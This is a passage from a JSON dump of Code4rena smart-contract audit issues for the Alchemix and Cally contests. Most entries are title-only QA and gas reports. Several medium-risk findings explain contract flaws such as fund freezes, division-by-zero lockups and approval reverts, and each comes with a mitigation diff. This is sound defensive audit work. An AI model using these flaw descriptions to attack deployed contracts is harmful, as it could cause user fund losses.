https://github.com/code-423n4/2022-05-alchemix/blob/71abbe683dfd5c0686b7e594fb4f78a14b668d8b/contracts-full/AutoleverageBase.sol#L147-L147 https://github.com/code-423n4/2022-05-alchemix/blob/71abbe683dfd5c0686b7e594fb4f78a14b668d8b/contracts-full/AutoleverageBase.sol#L178-L179 ## Tools Used None ## Recommended Mitigation Steps ``` function approve(address token, address spender) internal { + IERC20(token).approve(spender, 0); IERC20(token).approve(spender, type(uint256).max); } ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/143", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/142", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/139", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/138", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/137", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/136", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "New gALCX token denomination can be depressed by the first depositor", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/135", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-alchemix-findings", "body": "New gALCX token denomination can be depressed by the first depositor"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/133", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/130", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/129", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "TransmuterBuffer's _alchemistWithdraw use hard coded slippage that can lead to user losses", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/127", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-alchemix-findings", "body": "TransmuterBuffer's _alchemistWithdraw use hard coded slippage that can lead to user losses"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/126", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/125", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/124", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/119", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/118", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "TransmuterBuffer's setAlchemist will freeze deposited funds", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/117", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-alchemix-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/TransmuterBuffer.sol#L230-L248 # Vulnerability details Currently setAlchemist doesn't check whether there are any open positions left with the old Alchemist before switching to the new one. As this require a number of checks the probability of operational mistake isn't low and it's prudent to introduce the main controls directly to the code to minimize it. In the case if the system go on with new Alchemist before realizing that there are some funds left in the old one, tedious and error prone manual recovery will be needed. There is also going to be a corresponding reputational damage. Setting the severity to medium as while the function is admin only, the impact is up to massive user fund freeze, i.e. this is system breaking with external assumptions. ## Proof of Concept Alchemist implementation change can happen while there are open deposits remaining with the current contract. As there looks to be no process to transfer them in the code, such TransmuterBuffer's funds will be frozen with old alchemist: https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-hardhat/TransmuterBuffer.sol#L230-L232 ```solidity function setAlchemist(address _alchemist) external override onlyAdmin { sources[alchemist] = false; sources[_alchemist] = true; ``` ## Recommended Mitigation Steps Consider requiring that all exposure to the old Alchemist is closed, for example both `getAvailableFlow` and `getTotalCredit` is zero. https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/TransmuterBuffer.sol#L230-L231 ```solidity function setAlchemist(address _alchemist) external override onlyAdmin { + require(getTotalCredit() == 0, \"Credit exists with old Alchemist\"); + for (uint256 j = 0; j < registeredUnderlyings.length; j++) { + require(getTotalUnderlyingBuffered[registeredUnderlyings[j]] == 0, \"Buffer exists with old Alchemist\"); + } sources[alchemist] = false; ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/116", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "registerAsset misuse can permanently disable TransmuterBuffer and break the system", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/113", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-alchemix-findings", "body": "registerAsset misuse can permanently disable TransmuterBuffer and break the system"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/110", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/105", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "If `totalShares` for a token falls to zero while there is `pendingCredit` the contract will become stuck", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/104", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-alchemix-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/AlchemistV2.sol#L1290-L1300 https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/AlchemistV2.sol#L1268 https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/AlchemistV2.sol#L1532 https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/AlchemistV2.sol#L899 https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/AlchemistV2.sol#L1625 # Vulnerability details ## Impact It is possible for the contract to become stuck and unable to perform any actions if the `totalShares` of a yield token fall to zero while there is some `pendingCredit` still to be paid. It will then be impossible to call deposit or withdraw functions, mints, burns, repay, liquidate, donate or harvest due to division by zero reverts in: - `_distributeCredit()` - `_distributeUnlockedCredit()` - `_calculateUnrealizedDebt()` - `_convertSharesToYieldTokens()` - `donate()` Furthermore, any `pendingCredit` amount of tokens are still in the contract will become permanently stuck. ## Proof of Concept This case may arise under the follow steps a) `deposit()` is called by a user then time passes to earn some yield b) `harvest()` is called by the keeper which calls `_distributeCredit()` and increases `pendingCredit` c) `withdraw()` is called by the user to withdraw all funds Since there is `pendingCredit` the following will have a non-zero balance for `unlockedCredit` however `yieldTokenParams.totalShares` is zero and thus we get a division by zero which reverts the entire transaction. ```solidity function _distributeUnlockedCredit(address yieldToken) internal { YieldTokenParams storage yieldTokenParams = _yieldTokens[yieldToken]; uint256 unlockedCredit = _calculateUnlockedCredit(yieldToken); if (unlockedCredit == 0) { return; } yieldTokenParams.accruedWeight += unlockedCredit * FIXED_POINT_SCALAR / yieldTokenParams.totalShares; yieldTokenParams.distributedCredit += unlockedCredit; } ``` Each of the other listed functions will reach the same issue by attempting to divide some numerator by the `totalShares` which is zero. ## Recommended Mitigation Steps Consider preventing `totalShares` from over becoming zero once it is set. That is enforce a user to leave at least 1 unit if they are the last user to withdraw. Another option is to transfer the first 1000 shares to a \"burn\" account (e.g. 0x000...01), when the first user deposits. Alternatively, when the last user withdraws, transfer all pending credit to this user and set the required variables to zero to replicate the state before any users have deposited. "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/103", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/101", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/100", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "YearnTokenAdapter's wrap can become stuck as it uses one step approval for an arbitrary underlying", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/99", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-alchemix-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/adapters/yearn/YearnTokenAdapter.sol#L30-L32 # Vulnerability details Some tokens do not allow for approval of positive amount when allowance is positive already (to handle approval race condition, most known example is USDT). This can cause the function to stuck whenever a combination of such a token and leftover approval be met. The latter can be possible if, for example, yearn vault is becoming full on a particular wrap() call and accepts only a part of amount, not utilizing the approval fully. Then each next safeApprove will revert and wrap becomes permanently unavailable. Setting the severity to medium as depositing (wrapping) is core functionality for the contract and its availability is affected. ## Proof of Concept wrap use one step approve: https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/adapters/yearn/YearnTokenAdapter.sol#L30-L32 ```solidity function wrap(uint256 amount, address recipient) external override returns (uint256) { TokenUtils.safeTransferFrom(underlyingToken, msg.sender, address(this), amount); TokenUtils.safeApprove(underlyingToken, token, amount); ``` Some ERC20 forbid the approval of positive amount when the allowance is positive: https://github.com/d-xo/weird-erc20#approval-race-protections For example, USDT is supported by Yearn and can be the underlying asset: https://yearn.finance/#/vault/0x7Da96a3891Add058AdA2E826306D812C638D87a7 ## Recommended Mitigation Steps As the most general approach consider approving zero before doing so for the amount: ```solidity function wrap(uint256 amount, address recipient) external override returns (uint256) { TokenUtils.safeTransferFrom(underlyingToken, msg.sender, address(this), amount); + TokenUtils.safeApprove(underlyingToken, token, 0); TokenUtils.safeApprove(underlyingToken, token, amount); ``` "}, {"title": "Lido adapter incorrectly calculates the price of the underlying token", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/97", "labels": ["bug", "2 (Med Risk)"], "target": "2022-05-alchemix-findings", "body": "Lido adapter incorrectly calculates the price of the underlying token"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/96", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/95", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/94", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/93", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/92", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimization", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/91", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimization"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/90", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimization", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/89", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimization"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/86", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/85", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/84", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/83", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/82", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/81", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/70", "labels": ["bug", "QA (Quality Assurance)", "sponsor acknowledged"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/66", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/65", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "EthAssetManager and ThreePoolAssetManager don't control Meta tokens decimals", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/63", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-alchemix-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/ThreePoolAssetManager.sol#L896-L905 https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/EthAssetManager.sol#L566-L573 # Vulnerability details Both contracts treat meta assets as if they have fixed decimals of 18. Minting logic breaks when it's not the case. However, meta tokens decimals aren't controlled. If actual meta assets have any other decimals, minting slippage control logic of both contracts will break up as `total` is calculated as a plain sum of token amounts. In the higher token decimals case `minTotalAmount` will be magnitudes higher than actual amount Curve can provide and minting becomes unavailable. In the lower token decimals case `minTotalAmount` will lack value and slippage control will be rendered void, which opens up a possibility of a fund loss from the excess slippage. Setting severity to medium as the contract can be used with various meta tokens (`_metaPoolAssetCache` can be filled with any assets) and, whenever decimals differ from 18 `add_liquidity` uses, its logic be broken: the inability to mint violates the contract purpose, the lack of slippage control can lead to fund losses. I.e. this is system breaking impact conditional on a low probability assumption of different meta token decimals. ## Proof of Concept Meta tokens decimals are de facto hard coded into the contract as plain amounts are used (L. 905): https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/ThreePoolAssetManager.sol#L896-L905 ```solidity function _mintMetaPoolTokens( uint256[NUM_META_COINS] calldata amounts ) internal returns (uint256 minted) { IERC20[NUM_META_COINS] memory tokens = _metaPoolAssetCache; uint256 total = 0; for (uint256 i = 0; i < NUM_META_COINS; i++) { if (amounts[i] == 0) continue; total += amounts[i]; ``` https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/ThreePoolAssetManager.sol#L915-L919 ```solidity uint256 expectedOutput = total * CURVE_PRECISION / metaPool.get_virtual_price(); uint256 minimumMintAmount = expectedOutput * metaPoolSlippage / SLIPPAGE_PRECISION; // Add the liquidity to the pool. minted = metaPool.add_liquidity(amounts, minimumMintAmount); ``` The same plain sum approach is used in EthAssetManager._mintMetaPoolTokens: https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/EthAssetManager.sol#L566-L573 ```solidity uint256 total = 0; for (uint256 i = 0; i < NUM_META_COINS; i++) { // Skip over approving WETH since we are directly swapping ETH. if (i == uint256(MetaPoolAsset.ETH)) continue; if (amounts[i] == 0) continue; total += amounts[i]; ``` When this decimals assumption doesn't hold, the slippage logic will not hold too: either the mint be blocked or slippage control disabled. Notice, that ThreePoolAssetManager.calculateRebalance do query alUSD decimals (which is inconsistent with the above as it\u2019s either fix and control on inception or do not fix and accommodate the logic): https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/ThreePoolAssetManager.sol#L338-L338 ```solidity decimals = SafeERC20.expectDecimals(address(alUSD)); ``` ## Recommended Mitigation Steps If meta assets are always supposed to have fixed decimals of 18, consider controlling it at the construction time. I.e. the decimals can be controlled in constructors: https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/EthAssetManager.sol#L214-L219 ```solidity for (uint256 i = 0; i < NUM_META_COINS; i++) { _metaPoolAssetCache[i] = params.metaPool.coins(i); if (_metaPoolAssetCache[i] == IERC20(0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE)) { _metaPoolAssetCache[i] = weth; + } else { + // check the decimals } } ``` https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/ThreePoolAssetManager.sol#L254-L256 ```solidity for (uint256 i = 0; i < NUM_META_COINS; i++) { _metaPoolAssetCache[i] = params.metaPool.coins(i); + // check the decimals } ``` In this case further decimals reading as it's done in calculateRebalance() is redundant. Otherwise (which is less recommended as fixed decimals assumption is viable and simplify the logic) the meta token decimals can be added to calculations similarly to stables: https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/ThreePoolAssetManager.sol#L779-L779 ```solidity normalizedTotal += amounts[i] * 10**missingDecimals; ``` "}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/62", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "YearnTokenAdapter allows a maximum loss of 100% when withdrawing", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/60", "labels": ["bug", "2 (Med Risk)", "sponsor acknowledged"], "target": "2022-05-alchemix-findings", "body": "YearnTokenAdapter allows a maximum loss of 100% when withdrawing"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/57", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/56", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/50", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/49", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/46", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-alchemix-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/45", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "No Storage Gap for Upgradeable Contract Might Lead to Storage Slot Collision", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/44", "labels": ["bug", "2 (Med Risk)", "sponsor confirmed"], "target": "2022-05-alchemix-findings", "body": "# Lines of code https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/AlchemicTokenV2Base.sol#L20 https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/CrossChainCanonicalBase.sol#L12 https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/TransmuterV2.sol#L26 https://github.com/code-423n4/2022-05-alchemix/blob/de65c34c7b6e4e94662bf508e214dcbf327984f4/contracts-full/CrossChainCanonicalAlchemicTokenV2.sol#L7 # Vulnerability details ## Impact For upgradeable contracts, there must be storage gap to \"allow developers to freely add new state variables in the future without compromising the storage compatibility with existing deployments\" (quote OpenZeppelin). Otherwise it may be very difficult to write new implementation code. Without storage gap, the variable in child contract might be overwritten by the upgraded base contract if new variables are added to the base contract. This could have unintended and very serious consequences to the child contracts, potentially causing loss of user fund or cause the contract to malfunction completely. Refer to the bottom part of this article: https://docs.openzeppelin.com/upgrades-plugins/1.x/writing-upgradeable ## Proof of Concept Several contracts are intended to be upgradeable contracts in the code base, including - AlchemicTokenV2Base - CrossChainCanonicalBase - CrossChainCanonicalAlchemicTokenV2 - TransmuterV2 However, none of these contracts contain storage gap. The storage gap is essential for upgradeable contract because \"It allows us to freely add new state variables in the future without compromising the storage compatibility with existing deployments\". Refer to the bottom part of this article: https://docs.openzeppelin.com/contracts/3.x/upgradeable As an example, both the `AlchemicTokenV2Base` and the `CrossChainCanonicalBase` are intended to act as the base contracts in the project. If the contract inheriting the base contract contains additional variable, then the base contract cannot be upgraded to include any additional variable, because it would overwrite the variable declared in its child contract. This greatly limits contract upgradeability. ## Tools Used Manual review ## Recommended Mitigation Steps Recommend adding appropriate storage gap at the end of upgradeable contracts such as the below. Please reference OpenZeppelin upgradeable contract templates. ```solidity uint256[50] private __gap; ``` "}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/32", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-alchemix-findings/issues/28", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-alchemix-findings", "body": "Gas Optimizations"}, {"title": "Agreements & Disclosures", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/344", "labels": [], "target": "2022-05-cally-findings", "body": "Agreements & Disclosures"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/311", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/307", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/304", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/303", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/301", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/296", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/295", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/294", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/293", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/292", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/291", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/290", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/287", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/286", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/284", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/283", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/281", "labels": ["bug", "QA (Quality Assurance)", "QA - High quality report"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Divide before multiply", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/280", "labels": ["bug", "disagree with severity", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "Divide before multiply"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/279", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/278", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/276", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/273", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/268", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/267", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/266", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/265", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/264", "labels": ["bug", "G (Gas Optimization)"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "Gas Optimizations", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/261", "labels": ["bug", "G (Gas Optimization)", "Gas Report - High quality report"], "target": "2022-05-cally-findings", "body": "Gas Optimizations"}, {"title": "QA Report", "html_url": "https://github.com/code-423n4/2022-05-cally-findings/issues/260", "labels": ["bug", "QA (Quality Assurance)"], "target": "2022-05-cally-findings", "body": "QA Report"}, {"title": "Gas Optimizations", 